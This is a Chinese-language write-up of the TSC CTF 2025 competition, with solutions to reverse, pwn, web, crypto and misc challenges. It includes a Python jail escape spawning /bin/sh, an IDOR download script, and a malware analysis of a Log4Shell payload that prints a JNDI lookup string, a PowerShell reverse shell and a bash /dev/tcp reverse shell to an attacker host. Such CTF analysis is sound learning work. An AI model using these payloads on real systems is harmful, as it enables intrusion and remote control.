# TSC CTF WRITE UP ## Welcome ### Give you a free flag ||![image](https://hackmd.io/_uploads/r1QJ727v1e.png)|| :::success Flag🚩: ||`TSC{W3llc0me_t0_TSC2O2SIlIllI}`|| ::: ### Please Join Our Discord!!! ||![image](https://hackmd.io/_uploads/H1pVQhXDJx.png)|| :::success Flag🚩: ||`TSC{w31c0m3_t0_t5cc7f2025_d15c0rd!!!}`|| ::: ### Feedback Form 做完表單就有flag :::success Flag🚩: ||`TSC{thanks_for_playing_and_c_u_nexy_year!}`|| ::: ## Reverse ### What_Happened 將`flag_encrypted`和`0xAA`xor就能得到原本flag ```c= // local variable allocation has failed, the output may be wrong! int __cdecl main(int argc, const char **argv, const char **envp) { char Destination[51]; // [esp+1Eh] [ebp-32h] OVERLAPPED BYREF __main(); strcpy(Destination, flag_encrypted); puts("1. This is Flag:"); puts("2. ..."); puts("3. What Happened??? Something Error"); printf("4. %s\n", Destination); return 0; } ``` ```c= int decrypt_flag() { char v1[50]; // [esp+16h] [ebp-42h] BYREF int v2; // [esp+48h] [ebp-10h] int i; // [esp+4Ch] [ebp-Ch] v2 = strlen(flag_encrypted); for ( i = 0; i < v2; ++i ) v1[i] = flag_encrypted[i] ^ 0xAA; v1[v2] = 0; return printf("Decrypted Flag: %s\n", v1); } ``` ```python= hex_string = "FE F9 E9 D1 E3 F5 FE C2 C3 C4 C1 F5 D3 C5 DF F5 EC C3 D2 F5 98 C5 C7 CF F5 99 D8 D8 C5 D8 D7" byte_array = bytes.fromhex(hex_string) xor_result = [byte ^ 0xAA for byte in byte_array] result_hex = ' '.join(f"{byte:02X}" for byte in xor_result) try: result_ascii = ''.join(chr(byte) for byte in xor_result) except ValueError: result_ascii = "Not all bytes are printable ASCII characters" print("Flag:", result_ascii) ``` :::success Flag🚩:||`TSC{I_Think_you_Fix_2ome_3rror}`|| ::: ### Chill Checker 把A~Z放入`complex_function()`試出正確輸入 ```c= int __cdecl main(int argc, const char **argv, const char **envp) { char s2[32]; // [rsp+10h] [rbp-40h] BYREF char s1[20]; // [rsp+30h] [rbp-20h] BYREF int v6; // [rsp+44h] [rbp-Ch] int j; // [rsp+48h] [rbp-8h] int i; // [rsp+4Ch] [rbp-4h] v6 = -559038737; for ( i = 0; i <= 19; ++i ) s2[i] = 0; *(_QWORD *)s2 = 0x57484959495A4753LL; printf("Whisper your code: "); __isoc99_scanf("%8s", s1); for ( j = 0; j <= 7; ++j ) s1[j] = complex_function((unsigned int)s1[j], (unsigned int)(j + 8)); if ( !strcmp(s1, s2) ) { puts("Man, you're really on fire!"); generate_flag(s1); } else { random_failure_message(s1); } return 0; } ``` ```c= __int64 __fastcall complex_function(int a1, int a2) { if ( a1 <= 64 || a1 > 90 ) { puts("Go to reverse, please."); exit(1); } return (unsigned int)((a1 - 65 + 31 * a2) % 26 + 65); } ``` ```python= def reverse_complex_function(output_char, position): a2 = position + 8 for a1 in range(65, 91): if (a1 - 65 + 31 * a2) % 26 + 65 == output_char: return a1 raise ValueError("No valid character found") def compute_valid_input(target): s1 = [] for j, target_char in enumerate(target): target_ascii = ord(target_char) original_char = reverse_complex_function(target_ascii, j) s1.append(chr(original_char)) return ''.join(s1) s2 = "SGZIYIHW" # 0x57484959495A4753 original_s1 = compute_valid_input(s2) print(f"The correct input is: {original_s1}") ``` ``` The correct input is: ENBFQVPZ ``` :::success Flag🚩: ||`TSC{t4k3_1t_3a$y}`|| ::: ## Pwn ### gamble_bad_bad 先裝VPN `struct`裡的變數都是相鄰的,因此可以透過overflow改變`game.jackpot_value` ```c= struct GameState { char buffer[20]; char jackpot_value[4]; } game; void spin() { strcpy(game.jackpot_value, "6A6"); printf("輸入你的投注金額:"); gets(game.buffer); printf("這次的結果為:%s\n", game.jackpot_value); if (strcmp(game.jackpot_value, "777") == 0) { jackpot(); } else { printf("很遺憾,你沒中獎,再試一次吧!\n"); } } ``` ||![image](https://hackmd.io/_uploads/Bk32NgEwJl.png)|| :::success Flag🚩: ||`TSC{Gamb1e_Very_bad_bad_but_}`|| ::: ## Web ### Be_IDol `index.php`裡有個後門可使用 ```javascript= // Backdoor function - ez_login() function ez_login() { document.cookie = "PHPSESSID=secretbackdoor123"; location.reload(); } ``` 使用並重新整理後可以看到1001個pdf檔 ![image](https://hackmd.io/_uploads/Bkh2RVBwJe.png) ```python= import os import requests base_url = "http://172.31.0.2:8057/download.php?file_id=" start_id = 12000 end_id = 13000 output_directory = "OUTPUT_DIR" os.makedirs(output_directory, exist_ok=True) def download_file(file_id): url = f"{base_url}{file_id}" try: response = requests.get(url, stream=True) response.raise_for_status() file_path = os.path.join(output_directory, f"file_{file_id}.pdf") with open(file_path, "wb") as file: for chunk in response.iter_content(chunk_size=8192): file.write(chunk) print(f"Downloaded: {file_path}") except requests.exceptions.RequestException as e: print(f"Failed to download file {file_id}: {e}") for file_id in range(start_id, end_id + 1): download_file(file_id) print("Download process completed.") ``` 全部下載下來後會發現全都是這樣的形式 ![image](https://hackmd.io/_uploads/BJNPakLDkg.png) 於是嘗試`id`從0到13000,找到以下幾個可用 ![image](https://hackmd.io/_uploads/SkmeAy8D1e.png) 其中12001有指令可以使用 ![image](https://hackmd.io/_uploads/rJ8GANHDyx.png) 用`find`找到flag ```bash= find / -name "*flag*" cat /opt/flag/flag.txt ``` :::success Flag🚩: ||`TSC{You_can_be_ID0R_12353oujhefrgiuoewihoqweihfo}`|| ::: ## Crypto ### Very Simple Login 用`Admin`註冊再登入 ||![image](https://hackmd.io/_uploads/ByxLRxNPJl.png)|| :::success Flag🚩: ||`TSC{Wr0nG_HM4C_7O_L3A_!!!}`|| ::: ### Classic 利用已知flag開頭為`TSC{`的特性爆破 ```python= import string enc = "o`15~UN;;U~;F~U0OkW;FNW;F]WNlUGV\"" charset = string.digits + string.ascii_letters + string.punctuation len_charset = len(charset) known_flag = "TSC{" known_indices = [charset.find(c) for c in known_flag] enc_indices = [charset.find(enc[i]) for i in range(len(known_flag))] def solve_for_A_B(known_indices, enc_indices, len_charset): eqs = [] for i in range(len(known_indices)): eqs.append((known_indices[i], enc_indices[i])) for A in range(1, len_charset): for B in range(len_charset): valid = True for (p, c) in eqs: if (p * A + B) % len_charset != c: valid = False break if valid: return A, B return None, None A, B = solve_for_A_B(known_indices, enc_indices, len_charset) if A is not None and B is not None: A_inv = pow(A, -1, len_charset) # Modular inverse of A dec = [] for enc_char in enc: enc_index = charset.find(enc_char) orig_index = (enc_index - B) * A_inv % len_charset dec.append(charset[orig_index]) flag = "".join(dec) print("Decrypted flag:", flag) else: print("Failed") ``` :::success Flag🚩: ||`TSC{c14551c5_c1ph3r5_4r5_fr4g17e}`|| ::: ## Misc ### BabyJail 用空的`tuple`往回找所有object的subclasses再找到system指令 ``` [ x.__init__.__globals__ for x in ().__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("/bin/sh") ``` :::success Flag🚩: ||`TSC{just_a_classic_nobuiltins_pyjail_for_baby}`|| ::: ### A Minecraft SOC Mission 這題沒解出來,只記錄過程 首先把一些無關緊要的資訊過濾 ```python= import re import os def filter_logs(input_file, output_file): with open(input_file, 'r') as infile, open(output_file, 'w') as outfile: for line in infile: # Skip lines with specific patterns if re.search(r"joined the game|left the game|placed block|destroyed block", line): continue # Write the remaining lines to the output file outfile.write(line) # Ensure the script works in the same directory as the log file script_dir = os.path.dirname(os.path.abspath(__file__)) input_file = os.path.join(script_dir, "minecraft_server.log") output_file = os.path.join(script_dir, "filtered_log.txt") # Run the log filtering if os.path.exists(input_file): filter_logs(input_file, output_file) print(f"Filtered logs have been saved to {output_file}") else: print(f"File '{input_file}' does not exist. Please ensure it is in the same directory as this script.") ``` 在log中找到一行可疑訊息,應該是Log4Shell ``` [03:31:01] [INFO]: Kristen Graves sent message: {jndi:ldap://tscctf.server/patato} ``` `evil.class`decompile後得到: ```java= import java.util.Base64; public class Evil extends ClassLoader { private static final String[] $ = new String[]{"QTlXNHY2eXVpPQ==", "WVcxdmJtY3NJR0Z1WkNCemJ5QnBjeUJwZENCbGVHVmpkWFJwYm1jPQ==", "ZEhOalpYUm1MbWh2YldVPQ=="}; private static String ᅟ = "k9"; private static int ㅤ = 1017; private void ᅠ(byte[] var1) { try { String[] var2 = (new String(Base64.getDecoder().decode($[1]))).split(","); new String(Base64.getDecoder().decode($[2])); String var4 = (String)Class.forName("java.lang.System").getMethod("getProperty", String.class).invoke((Object)null, var2[0]); boolean var5 = var4.toLowerCase().contains(var2[1]); String[] var10000; if (var5) { var10000 = new String[]{"cmd.exe", "/c", null}; String var10003 = new String(new byte[]{112, 111, 119, 101, 114, 115, 104, 101, 108, 108, 32, 45, 101, 32}); var10000[2] = var10003 + "JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAdABzAGMAYwB0AGYALgBoAG8AbQBlACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"; } else { var10000 = new String[]{"/bin/bash", "-c", this.ㅤㅤ(new String[]{"echo", "YmFzaCAtaSA+JiAvZGV2L3RjcC90c2NjdGYuaG9tZS80NDMgMD4mMQ==", "base64", "-d", "bash"})}; } String[] var6 = var10000; Class.forName("java.lang.Runtime").getMethod("exec", String[].class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke((Object)null), var6); } catch (Exception var7) { } } private String ㅤㅤ(String[] var1) { StringBuilder var2 = new StringBuilder(); for(int var3 = 0; var3 < var1.length; ++var3) { var2.append(var1[var3]); if (var3 < var1.length - 1) { var2.append(" | "); } } return var2.toString(); } static { (new Evil()).ᅠ(new byte[0]); } } ``` 其中`var5`應該是用來判斷伺服器作業系統 `112, 111, 119, 101, 114, 115, 104, 101, 108, 108, 32, 45, 101, 32`轉成ASCII為`powershell -e ` 來自[Microsoft Learn](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1#-encodedcommand-base64encodedcomman`): > ### -EncodedCommand <Base64EncodedCommand> > Accepts a base-64-encoded string version of a command. Use this parameter to submit commands to PowerShell that require complex quotation marks or curly braces. The string must be formatted using UTF-16LE character encoding. 所以那一長串Base64字串應該以`utf-16LE`解碼 ```python= import base64 s = "BASE64_ENCODED_STRING" print(base64.b64decode(s).decode("utf-16le")) ``` 解碼並排版後的結果 ```csharp= $client = New-Object System.Net.Sockets.TCPClient("tscctf.home", 443) $stream = $client.GetStream() [byte[]]$bytes = 0..65535 | % { 0 } while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i) $sendback = (iex $data 2>&1 | Out-String) $sendback2 = $sendback + "PS " + (pwd).Path + "> " $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte, 0, $sendbyte.Length) $stream.Flush() } $client.Close() ``` 可以看到`tscctf.home`為攻擊者嘗試連線的主機 在linux那邊,base64解碼後的結果為 ```bash bash -i >& /dev/tcp/tscctf.home/443 0>&1 ``` 同樣可以看到`tscctf.home` 可是最後找不到`tscctf.server`和`tscctf.home`的ip 更:阿不是結果flag就是`tscctf.home` ## 後記 只解出50分的題目... ![screencapture-ctfd-tscctf-users-535-2025-01-16-11_09_04](https://hackmd.io/_uploads/H14wdg8Pkg.png) [分頁紀錄](https://www.one-tab.com/page/k3M8ai_vQba2kqGu0A2Nug)